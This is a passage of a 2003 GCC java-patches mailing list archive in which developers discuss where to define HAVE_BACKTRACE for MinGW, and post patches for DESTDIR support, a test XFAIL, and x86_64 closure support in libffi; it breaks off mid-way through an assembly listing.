18cdiw-0008Ek-00 for ; Sun, 26 Jan 2003 04:44:46 +0100 From: Ranjit Mathew Subject: Re: Patch: Include platform.h in gnu/gcj/runtime/natStackTrace.cc Date: Sun, 26 Jan 2003 09:18:18 +0530 Lines: 31 Message-ID: References: <15922.58111.160019.861642@cuddles.cambridge.redhat.com> <87ptql6nrz.fsf@fleche.redhat.com> <15922.59359.864092.528020@cuddles.cambridge.redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@main.gmane.org User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.2.1) Gecko/20021130 X-Accept-Language: en-us, en In-Reply-To: <15922.59359.864092.528020@cuddles.cambridge.redhat.com> Andrew Haley wrote: > For example: say you read your program source and discover that some > code is conditional on HAVE_BACKTRACE, so you look in include/config.h > and discover that variable isn't set. However, it *is* set, whatever > config.h says, just somewhere else. And because you have two > contradictory defintions of HAVE_BACKTRACE the result depends on what > order platform.h and config.h are included. ARgh! I agree totally with what you say and the configure.in thingy is what I had done on my first attempt. However, you must realise that we also need the prototype for backtrace( ) which doesn't belong to config.h AFAICT. The other choices with me were to either include platform.h or to have conditional (on WIN32 being defined) code in natStackTrace.cc that declares the prototype for backtrace( ). What I can perhaps do is to have configure define HAVE_BACKTRACE for Win32 (does Cygwin use win32.h as well or is it only MinGW?), and then have natStackTrace.cc provide a conditional prototype for backtrace( ) on Win32. Or does anyone have better ideas? Ranjit. -- Ranjit Mathew Email: rmathew AT hotmail DOT com Bangalore, INDIA. Web: http://ranjitmathew.tripod.com/ From java-patches-return-5911-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Jan 26 04:31:25 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 29894 invoked by alias); 26 Jan 2003 04:31:25 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 29846 invoked from network); 26 Jan 2003 04:31:24 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 26 Jan 2003 04:31:24 -0000 Received: from fleche.redhat.com (tz0188.peakpeak.com [207.174.69.188]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id VAA10829; Sat, 25 Jan 2003 21:31:22 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 9FA5F4F8073; Sat, 25 Jan 2003 21:26:34 -0700 (MST) To: Ranjit Mathew Cc: java-patches@gcc.gnu.org Subject: Re: Patch: Include platform.h in gnu/gcj/runtime/natStackTrace.cc References: <15922.58111.160019.861642@cuddles.cambridge.redhat.com> <87ptql6nrz.fsf@fleche.redhat.com> <15922.59359.864092.528020@cuddles.cambridge.redhat.com> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Is this "BOOZE"? Date: 25 Jan 2003 21:26:34 -0700 In-Reply-To: Message-ID: <873cng5yf9.fsf@fleche.redhat.com> Lines: 13 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Ranjit" == Ranjit Mathew writes: Ranjit> I agree totally with what you say and the configure.in thingy is what Ranjit> I had done on my first attempt. However, you must realise that we also Ranjit> need the prototype for backtrace( ) which doesn't belong to config.h Ranjit> AFAICT. We can do both: move the definition of HAVE_BACKTRACE into configure.in, and also include platform.h in natStackTrace.cc. I know the former isn't really touched by your original patch, but it would be helpful if you could do it anyway. Tom From java-patches-return-5912-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Jan 26 08:17:58 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 16866 invoked by alias); 26 Jan 2003 08:17:57 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 16735 invoked from network); 26 Jan 2003 08:17:55 -0000 Received: from unknown (HELO mail02.agrinet.ch) (212.28.134.115) by 172.16.49.205 with SMTP; 26 Jan 2003 08:17:55 -0000 Received: from pop.agri.ch (217.162.33.222) by mail02.agrinet.ch (NPlex 5.5.060) (authenticated as toa@pop.agri.ch) id 3E1BCDEE0009EDFD; Sun, 26 Jan 2003 09:17:53 +0100 Message-ID: <3E3399B0.9000104@pop.agri.ch> Date: Sun, 26 Jan 2003 09:17:52 +0100 From: Andreas Tobler User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:1.3a) Gecko/20021212 X-Accept-Language: en-us, en MIME-Version: 1.0 To: tromey@redhat.com CC: java-patches Subject: Re: darwin: can_unwind_signal = no References: <3E2EE1B2.3090204@pop.agri.ch> <87lm1clxql.fsf@fleche.redhat.com> <3E32EB74.1050204@pop.agri.ch> <87n0lo69w6.fsf@fleche.redhat.com> In-Reply-To: <87n0lo69w6.fsf@fleche.redhat.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Tom Tromey wrote: >>>>>>"Andreas" == Andreas Tobler writes: > > > Andreas> Do I go right when I assume that I apply that myself when the > Andreas> 'paperwork' is done? > > Yup, this patch is approved. > Check it in on the 3.3 branch as well, if you can. > If you can't, tell me, and I will do it. Ok, I'll do it as soon as I have the login. Right now I guess it's weekend and my request will be handled on the next working day? Thanks, Andreas From java-patches-return-5913-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Jan 26 11:23:40 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 23253 invoked by alias); 26 Jan 2003 11:23:39 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 23233 invoked from network); 26 Jan 2003 11:23:38 -0000 Received: from unknown (HELO monty-python.gnu.org) (199.232.76.173) by 172.16.49.205 with SMTP; 26 Jan 2003 11:23:38 -0000 Received: from nat-pool-rdu.redhat.com ([66.187.233.200] helo=lacrosse.corp.redhat.com) by monty-python.gnu.org with esmtp (Exim 4.10.13) id 18ckse-0004AW-00; Sun, 26 Jan 2003 06:23:16 -0500 Received: from free.redhat.lsd.ic.unicamp.br (aoliva.cipe.redhat.com [10.0.1.10]) by lacrosse.corp.redhat.com (8.11.6/8.9.3) with ESMTP id h0QBMCg00331; Sun, 26 Jan 2003 06:22:12 -0500 Received: from free.redhat.lsd.ic.unicamp.br (localhost.localdomain [127.0.0.1]) by free.redhat.lsd.ic.unicamp.br (8.12.7/8.12.7) with ESMTP id h0QBM9fZ017976; Sun, 26 Jan 2003 09:22:09 -0200 Received: (from aoliva@localhost) by free.redhat.lsd.ic.unicamp.br (8.12.7/8.12.7/Submit) id h0QBM3CI017972; Sun, 26 Jan 2003 09:22:03 -0200 To: Christian Cornelssen Cc: , , Subject: Re: [3.3] DESTDIR support References: From: Alexandre Oliva Organization: GCC Team, Red Hat Date: 26 Jan 2003 09:22:02 -0200 In-Reply-To: Message-ID: Lines: 11 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii On Jan 12, 2003, Christian Cornelssen wrote: > this is the DESTDIR patch for the gcc-3_3-branch. Thanks, I'm checking it in, at last. -- Alexandre Oliva Enjoy Guarana', see http://www.ic.unicamp.br/~oliva/ Red Hat GCC Developer aoliva@{redhat.com, gcc.gnu.org} CS PhD student at IC-Unicamp oliva@{lsd.ic.unicamp.br, gnu.org} Free Software Evangelist Professional serial bug killer From java-patches-return-5914-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Jan 26 11:25:07 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 24205 invoked by alias); 26 Jan 2003 11:25:06 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 24183 invoked from network); 26 Jan 2003 11:25:06 -0000 Received: from unknown (HELO monty-python.gnu.org) (199.232.76.173) by 172.16.49.205 with SMTP; 26 Jan 2003 11:25:06 -0000 Received: from nat-pool-rdu.redhat.com ([66.187.233.200] helo=lacrosse.corp.redhat.com) by monty-python.gnu.org with esmtp (Exim 4.10.13) id 18cku7-0007fr-00; Sun, 26 Jan 2003 06:24:47 -0500 Received: from free.redhat.lsd.ic.unicamp.br (aoliva.cipe.redhat.com [10.0.1.10]) by lacrosse.corp.redhat.com (8.11.6/8.9.3) with ESMTP id h0QBNfg00458; Sun, 26 Jan 2003 06:23:42 -0500 Received: from free.redhat.lsd.ic.unicamp.br (localhost.localdomain [127.0.0.1]) by free.redhat.lsd.ic.unicamp.br (8.12.7/8.12.7) with ESMTP id h0QBNffZ017997; Sun, 26 Jan 2003 09:23:41 -0200 Received: (from aoliva@localhost) by free.redhat.lsd.ic.unicamp.br (8.12.7/8.12.7/Submit) id h0QBNZct017987; Sun, 26 Jan 2003 09:23:35 -0200 To: Christian Cornelssen , Gabriel Dos Reis Cc: , , Subject: Re: [3.3] DESTDIR support References: From: Alexandre Oliva Organization: GCC Team, Red Hat Date: 26 Jan 2003 09:23:35 -0200 In-Reply-To: Message-ID: Lines: 12 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii On Jan 12, 2003, Christian Cornelssen wrote: > this is the DESTDIR patch for the gcc-3_3-branch. Gaby, would you be willing to accept a similar patch for the 3.2 branch, or is it far too late now? -- Alexandre Oliva Enjoy Guarana', see http://www.ic.unicamp.br/~oliva/ Red Hat GCC Developer aoliva@{redhat.com, gcc.gnu.org} CS PhD student at IC-Unicamp oliva@{lsd.ic.unicamp.br, gnu.org} Free Software Evangelist Professional serial bug killer From java-patches-return-5915-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Jan 26 15:31:57 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 3344 invoked by alias); 26 Jan 2003 15:31:57 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 3337 invoked from network); 26 Jan 2003 15:31:56 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (213.86.99.237) by 172.16.49.205 with SMTP; 26 Jan 2003 15:31:56 -0000 Received: from cuddles.cambridge.redhat.com (vpn50-33.rdu.redhat.com [172.16.50.33]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 87C94ABAFC; Sun, 26 Jan 2003 15:31:54 +0000 (GMT) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h0QFVmJ03252; Sun, 26 Jan 2003 15:31:48 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15923.65380.7366.561063@cuddles.cambridge.redhat.com> Date: Sun, 26 Jan 2003 15:31:48 +0000 (GMT) To: Ranjit Mathew Cc: java-patches@gcc.gnu.org Subject: Re: Patch: Include platform.h in gnu/gcj/runtime/natStackTrace.cc In-Reply-To: References: <15922.58111.160019.861642@cuddles.cambridge.redhat.com> <87ptql6nrz.fsf@fleche.redhat.com> <15922.59359.864092.528020@cuddles.cambridge.redhat.com> Ranjit Mathew writes: > Andrew Haley wrote: > > For example: say you read your program source and discover that some > > code is conditional on HAVE_BACKTRACE, so you look in include/config.h > > and discover that variable isn't set. However, it *is* set, whatever > > config.h says, just somewhere else. And because you have two > > contradictory defintions of HAVE_BACKTRACE the result depends on what > > order platform.h and config.h are included. ARgh! > > I agree totally with what you say and the configure.in thingy is what > I had done on my first attempt. However, you must realise that we also > need the prototype for backtrace( ) which doesn't belong to config.h > AFAICT. > > The other choices with me were to either include platform.h or to > have conditional (on WIN32 being defined) code in natStackTrace.cc > that declares the prototype for backtrace( ). I have no object at all do #including platform.h, but don't define HAVE_BACKTRACE there, please! platform.h is a good place for the backtrace() prototype. Andrew. From java-patches-return-5916-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Jan 26 19:20:12 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 3650 invoked by alias); 26 Jan 2003 19:20:12 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 3642 invoked from network); 26 Jan 2003 19:20:12 -0000 Received: from unknown (HELO main.gmane.org) (80.91.224.249) by 172.16.49.205 with SMTP; 26 Jan 2003 19:20:12 -0000 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18csIX-0001N9-00 for ; Sun, 26 Jan 2003 20:18:29 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: java-patches@gcc.gnu.org Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18csIW-0001Mu-00 for ; Sun, 26 Jan 2003 20:18:28 +0100 From: Ranjit Mathew Subject: Re: Patch: Include platform.h in gnu/gcj/runtime/natStackTrace.cc Date: Mon, 27 Jan 2003 00:52:05 +0530 Lines: 93 Message-ID: References: <15922.58111.160019.861642@cuddles.cambridge.redhat.com> <87ptql6nrz.fsf@fleche.redhat.com> <15922.59359.864092.528020@cuddles.cambridge.redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@main.gmane.org User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.2.1) Gecko/20021130 X-Accept-Language: en-us, en In-Reply-To: Ranjit Mathew wrote: > What I can perhaps do is to have configure define HAVE_BACKTRACE > for Win32 (does Cygwin use win32.h as well or is it only MinGW?), > and then have natStackTrace.cc provide a conditional prototype for > backtrace( ) on Win32. How about this: we define HAVE_BACKTRACE for MinGW as well as NEED_BACKTRACE_PROTOTYPE in configure - the latter is then used by natStackTrace.cc to conditionally define an explicit function prototype for backtrace( ). The following patch takes this approach: ------------------------------- 8< ------------------------------- 2003-01-26 Ranjit Mathew * configure.in: Explicitly define HAVE_BACKTRACE and NEED_BACKTRACE_PROTOTYPE if building for MinGW. * include/config.h.in: Add definition template for NEED_BACKTRACE_PROTOTYPE. Correct minor typo in definition template for HAVE_SOCKLEN_T. * include/win32.h: Remove definition of HAVE_BACKTRACE. Remove function prototype for backtrace( ). * gnu/gcj/runtime/natStackTrace.cc: Declare function prototype for backtrace( ) if both HAVE_BACKTRACE and NEED_BACKTRACE_PROTOTYPE are defined. * configure: Rebuilt. --- configure.in 2003-01-26 23:18:05.000000000 +0530 +++ configure.in 2003-01-26 23:20:54.000000000 +0530 @@ -523,4 +523,12 @@ ;; esac + ], [ + case "$host" in + *mingw*) + # Has backtrace() defined in libgcj itself + AC_DEFINE(HAVE_BACKTRACE) + AC_DEFINE(NEED_BACKTRACE_PROTOTYPE) + ;; + esac ]) --- include/win32.h 2003-01-26 23:27:34.000000000 +0530 +++ include/win32.h 2003-01-26 23:28:03.000000000 +0530 @@ -116,9 +116,3 @@ #endif /* DISABLE_JAVA_NET */ -#define HAVE_BACKTRACE - -/* Store up to SIZE return address of the current program state in - ARRAY and return the exact number of values stored. */ -extern int backtrace (void **__array, int __size); - #endif /* __JV_WIN32_H__ */ --- include/config.h.in 2003-01-27 00:06:43.000000000 +0530 +++ include/config.h.in 2003-01-27 00:06:43.000000000 +0530 @@ -97,5 +97,5 @@ #undef HAVE_STRUCT_IPV6_MREQ -/* Define it socklen_t typedef is in sys/socket.h. */ +/* Define if socklen_t typedef is in sys/socket.h. */ #undef HAVE_SOCKLEN_T @@ -179,4 +179,7 @@ #undef HAVE_BACKTRACE +/* Define if you need to declare an explicit prototype for backtrace(). */ +#undef NEED_BACKTRACE_PROTOTYPE + /* Define if your platform has the global _timezone variable. */ #undef HAVE_UNDERSCORE_TIMEZONE --- gnu/gcj/runtime/natStackTrace.cc 2003-01-26 23:36:46.000000000 +0530 +++ gnu/gcj/runtime/natStackTrace.cc 2003-01-26 23:41:48.000000000 +0530 @@ -44,4 +44,8 @@ #include +#if defined (HAVE_BACKTRACE) && defined (NEED_BACKTRACE_PROTOTYPE) +extern int backtrace (void **, int); +#endif + // Fill in this stack trace with MAXLEN elements starting at offset. ------------------------------- 8< ------------------------------- Sincerely Yours, Ranjit. -- Ranjit Mathew Email: rmathew AT hotmail DOT com Bangalore, INDIA. Web: http://ranjitmathew.tripod.com/ From java-patches-return-5917-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Jan 26 20:14:49 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 17569 invoked by alias); 26 Jan 2003 20:14:49 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 17562 invoked from network); 26 Jan 2003 20:14:48 -0000 Received: from unknown (HELO main.gmane.org) (80.91.224.249) by 172.16.49.205 with SMTP; 26 Jan 2003 20:14:48 -0000 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18ct9O-0004Bc-00 for ; Sun, 26 Jan 2003 21:13:06 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: java-patches@gcc.gnu.org Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18ct9N-0004BT-00 for ; Sun, 26 Jan 2003 21:13:05 +0100 From: Ranjit Mathew Subject: Re: Patch: Include platform.h in gnu/gcj/runtime/natStackTrace.cc Date: Mon, 27 Jan 2003 01:46:44 +0530 Lines: 70 Message-ID: References: <15922.58111.160019.861642@cuddles.cambridge.redhat.com> <87ptql6nrz.fsf@fleche.redhat.com> <15922.59359.864092.528020@cuddles.cambridge.redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@main.gmane.org User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.2.1) Gecko/20021130 X-Accept-Language: en-us, en In-Reply-To: Ranjit Mathew wrote: > How about this: we define HAVE_BACKTRACE for MinGW as well > as NEED_BACKTRACE_PROTOTYPE in configure - the latter > is then used by natStackTrace.cc to conditionally define > an explicit function prototype for backtrace( ). Ignore the previous patch please - I had not read your messages before posting it - here's a revised (and simpler) one. Sorry for generating all the noise! This patch makes configure specifically define HAVE_BACKTRACE for MinGW, removes the HAVE_BACKTRACE from win32.h and makes natStackTrace.cc include platform.h. (NOTE: configure needs to be rebuilt after this.) Checked with 3.3 on MinGW. ------------------------------- 8< ------------------------------- 2003-01-27 Ranjit Mathew * configure.in: Specifically define HAVE_BACKTRACE if building for MinGW. * include/win32.h: Remove HAVE_BACKTRACE definition. * gnu/gcj/runtime/natStackTrace.cc: Include platform.h. * configure: Rebuilt. --- configure.in 2003-01-26 23:18:05.000000000 +0530 +++ configure.in 2003-01-27 01:00:25.000000000 +0530 @@ -523,4 +523,11 @@ ;; esac + ], [ + case "$host" in + *mingw*) + # Has backtrace() defined in libgcj itself + AC_DEFINE(HAVE_BACKTRACE) + ;; + esac ]) --- include/win32.h 2003-01-26 23:27:34.000000000 +0530 +++ include/win32.h 2003-01-27 01:01:37.000000000 +0530 @@ -116,6 +116,4 @@ #endif /* DISABLE_JAVA_NET */ -#define HAVE_BACKTRACE - /* Store up to SIZE return address of the current program state in ARRAY and return the exact number of values stored. */ --- gnu/gcj/runtime/natStackTrace.cc 2003-01-26 23:36:46.000000000 +0530 +++ gnu/gcj/runtime/natStackTrace.cc 2003-01-27 01:00:57.000000000 +0530 @@ -32,4 +32,6 @@ #include +#include "platform.h" + #include ------------------------------- 8< ------------------------------- Sincerely Yours, Ranjit. -- Ranjit Mathew Email: rmathew AT hotmail DOT com Bangalore, INDIA. Web: http://ranjitmathew.tripod.com/ From java-patches-return-5918-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Jan 27 14:56:32 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 12492 invoked by alias); 27 Jan 2003 14:56:32 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 12422 invoked from network); 27 Jan 2003 14:56:31 -0000 Received: from unknown (HELO caip.rutgers.edu) (128.6.236.10) by 172.16.49.205 with SMTP; 27 Jan 2003 14:56:31 -0000 Received: (from ghazi@localhost) by caip.rutgers.edu (8.9.3/8.9.3) id JAA02937; Mon, 27 Jan 2003 09:56:06 -0500 (EST) Date: Mon, 27 Jan 2003 09:56:06 -0500 (EST) From: "Kaveh R. Ghazi" Message-Id: <200301271456.JAA02937@caip.rutgers.edu> To: gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org Subject: Patch to XFAIL libjava.lang/pr8823.java Cc: tromey@redhat.com As mentioned here: http://gcc.gnu.org/ml/gcc/2003-01/msg01248.html The libjava.lang/pr8823.java failure is not a regression, so I've added an XFAIL for it. Tested on sparc-sun-solaris2.7. Ok for trunk and 3.3? Thanks, --Kaveh 2003-01-27 Kaveh R. Ghazi * libjava.lang/pr8823.xfail: New file, add "xfail-byte". diff -rup orig/egcc-3.3-CVS20030127/libjava/testsuite/libjava.lang/pr8823.xfail egcc-3.3-CVS20030126/libjava/testsuite/libjava.lang/pr8823.xfail --- orig/egcc-3.3-CVS20030127/libjava/testsuite/libjava.lang/pr8823.xfail Mon Jan 27 09:50:40 2003 +++ egcc-3.3-CVS20030126/libjava/testsuite/libjava.lang/pr8823.xfail Mon Jan 27 00:20:33 2003 @@ -0,0 +1 @@ +xfail-byte From java-patches-return-5919-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Jan 27 17:45:29 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 22809 invoked by alias); 27 Jan 2003 17:45:29 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 22792 invoked from network); 27 Jan 2003 17:45:28 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (213.86.99.237) by 172.16.49.205 with SMTP; 27 Jan 2003 17:45:28 -0000 Received: from cuddles.cambridge.redhat.com (vpn50-4.rdu.redhat.com [172.16.50.4]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 8727FABAF8; Mon, 27 Jan 2003 17:45:25 +0000 (GMT) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h0RHjNj03409; Mon, 27 Jan 2003 17:45:23 GMT Date: Mon, 27 Jan 2003 17:45:23 GMT Message-Id: <200301271745.h0RHjNj03409@cuddles.cambridge.redhat.com> From: Andrew Haley To: java-patches@gcc.gnu.org, gcc-patches@gcc.gnu.org Subject: Libffi: closures for x86_64 This isn't complete -- it doesn't support passing structs or long doubles -- but it's enough for Java. Andrew. 2003-01-27 Andrew Haley * include/ffi.h.in: Enable FFI_CLOSURES for x86_64. * src/x86/ffi64.c (ffi_prep_closure): New. (ffi_closure_UNIX64_inner): New. Index: include/ffi.h.in =================================================================== RCS file: /cvs/gcc/gcc/libffi/include/ffi.h.in,v retrieving revision 1.22 diff -p -2 -c -r1.22 ffi.h.in *** include/ffi.h.in 3 Jan 2003 23:08:55 -0000 1.22 --- include/ffi.h.in 27 Jan 2003 17:25:34 -0000 *************** struct ffi_ia64_trampoline_struct { *** 472,475 **** --- 472,481 ---- #define FFI_NATIVE_RAW_API 0 + #elif defined(__x86_64__) + + #define FFI_CLOSURES 1 + #define FFI_TRAMPOLINE_SIZE 24 + #define FFI_NATIVE_RAW_API 0 + #else Index: src/x86/ffi64.c =================================================================== RCS file: /cvs/gcc/gcc/libffi/src/x86/ffi64.c,v retrieving revision 1.3 diff -p -2 -c -r1.3 ffi64.c *** src/x86/ffi64.c 14 Jan 2003 18:42:28 -0000 1.3 --- src/x86/ffi64.c 27 Jan 2003 17:25:35 -0000 *************** *** 28,31 **** --- 28,32 ---- #include + #include /* ffi_prep_args is called by the assembly routine once stack space *************** void ffi_call(/*@dependent@*/ ffi_cif *c *** 572,574 **** --- 573,706 ---- } + extern void ffi_closure_UNIX64(void); + + ffi_status + ffi_prep_closure (ffi_closure* closure, + ffi_cif* cif, + void (*fun)(ffi_cif*, void*, void**, void*), + void *user_data) + { + unsigned short *tramp; + + /* FFI_ASSERT (cif->abi == FFI_OSF); */ + + tramp = (unsigned short *) &closure->tramp[0]; + tramp[0] = 0xbb49; /* mov , %r11d */ + tramp[5] = 0xba49; /* mov , %r10 */ + tramp[10] = 0xff49; /* jmp *%r11 */ + tramp[11] = 0x00e3; + *(void **) &tramp[1] = ffi_closure_UNIX64; + *(void **) &tramp[6] = closure; + + closure->cif = cif; + closure->fun = fun; + closure->user_data = user_data; + + return FFI_OK; + } + + int + ffi_closure_UNIX64_inner(ffi_closure *closure, va_list l, void *rp) + { + ffi_cif *cif; + void **avalue; + ffi_type **arg_types; + long i, avn, argn; + + cif = closure->cif; + avalue = alloca(cif->nargs * sizeof(void *)); + + argn = 0; + + i = 0; + avn = cif->nargs; + arg_types = cif->arg_types; + + /* Grab the addresses of the arguments from the stack frame. */ + while (i < avn) + { + switch (arg_types[i]->type) + { + case FFI_TYPE_SINT8: + case FFI_TYPE_UINT8: + case FFI_TYPE_SINT16: + case FFI_TYPE_UINT16: + case FFI_TYPE_SINT32: + case FFI_TYPE_UINT32: + case FFI_TYPE_SINT64: + case FFI_TYPE_UINT64: + case FFI_TYPE_POINTER: + { + if (l->gp_offset > 48-8) + { + avalue[i] = l->overflow_arg_area; + l->overflow_arg_area = (char *)l->overflow_arg_area + 8; + } + else + { + avalue[i] = (char *)l->reg_save_area + l->gp_offset; + l->gp_offset += 8; + } + } + break; + + case FFI_TYPE_STRUCT: + /* FIXME */ + FFI_ASSERT(0); + break; + + case FFI_TYPE_DOUBLE: + { + if (l->fp_offset > 176-16) + { + avalue[i] = l->overflow_arg_area; + l->overflow_arg_area = (char *)l->overflow_arg_area + 8; + } + else + { + avalue[i] = (char *)l->reg_save_area + l->fp_offset; + l->fp_offset += 16; + } + } + #if DEBUG_FFI + fprintf (stderr, "double arg %d = %g\n", i, *(double *)avalue[i]); + #endif + break; + + case FFI_TYPE_FLOAT: + { + if (l->fp_offset > 176-16) + { + avalue[i] = l->overflow_arg_area; + l->overflow_arg_area = (char *)l->overflow_arg_area + 8; + } + else + { + avalue[i] = (char *)l->reg_save_area + l->fp_offset; + l->fp_offset += 16; + } + } + #if DEBUG_FFI + fprintf (stderr, "float arg %d = %g\n", i, *(float *)avalue[i]); + #endif + break; + + default: + FFI_ASSERT(0); + } + + argn += ALIGN(arg_types[i]->size, SIZEOF_ARG) / SIZEOF_ARG; + i++; + } + + /* Invoke the closure. */ + (closure->fun) (cif, rp, avalue, closure->user_data); + + /* FIXME: Structs not supported. */ + FFI_ASSERT(cif->rtype->type != FFI_TYPE_STRUCT); + + /* Tell ffi_closure_UNIX64 how to perform return type promotions. */ + + return cif->rtype->type; + } #endif /* ifndef __x86_64__ */ Index: src/x86/unix64.S =================================================================== RCS file: /cvs/gcc/gcc/libffi/src/x86/unix64.S,v retrieving revision 1.2 diff -p -2 -c -r1.2 unix64.S *** src/x86/unix64.S 14 Jan 2003 18:42:29 -0000 1.2 --- src/x86/unix64.S 27 Jan 2003 17:25:35 -0000 *************** sse2floatfloat: *** 163,167 **** movq %xmm0, (%rsi) ret ! .section .eh_frame,"a",@progbits .Lframe0: --- 163,241 ---- movq %xmm0, (%rsi) ret ! ! .align 2 ! .globl ffi_closure_UNIX64 ! .type ffi_closure_UNIX64,@function ! ! ffi_closure_UNIX64: ! .LFB2: ! pushq %rbp ! .LCFI10: ! movq %rsp, %rbp ! .LCFI11: ! subq $240, %rsp ! .LCFI12: ! movq %rdi, -176(%rbp) ! movq %rsi, -168(%rbp) ! movq %rdx, -160(%rbp) ! movq %rcx, -152(%rbp) ! movq %r8, -144(%rbp) ! movq %r9, -136(%rbp) ! /* FIXME: We can avoid all this stashing of XMM registers by ! (in ffi_prep_closure) computing the number of ! floating-point args and moving it into %rax before calling ! this function. Once this is done, uncomment the next few ! lines and only the essential XMM rewgisters will be written ! to memory. This is a significant saving. */ ! /* movzbl %al, %eax */ ! /* movq %rax, %rdx */ ! /* leaq 0(,%rdx,4), %rax */ ! /* leaq 2f(%rip), %rdx */ ! /* subq %rax, %rdx */ ! leaq -1(%rbp), %rax ! /* jmp *%rdx */ ! movaps %xmm7, -15(%rax) ! movaps %xmm6, -31(%rax) ! movaps %xmm5, -47(%rax) ! movaps %xmm4, -63(%rax) ! movaps %xmm3, -79(%rax) ! movaps %xmm2, -95(%rax) ! movaps %xmm1, -111(%rax) ! movaps %xmm0, -127(%rax) ! 2: ! movl %edi, -180(%rbp) ! 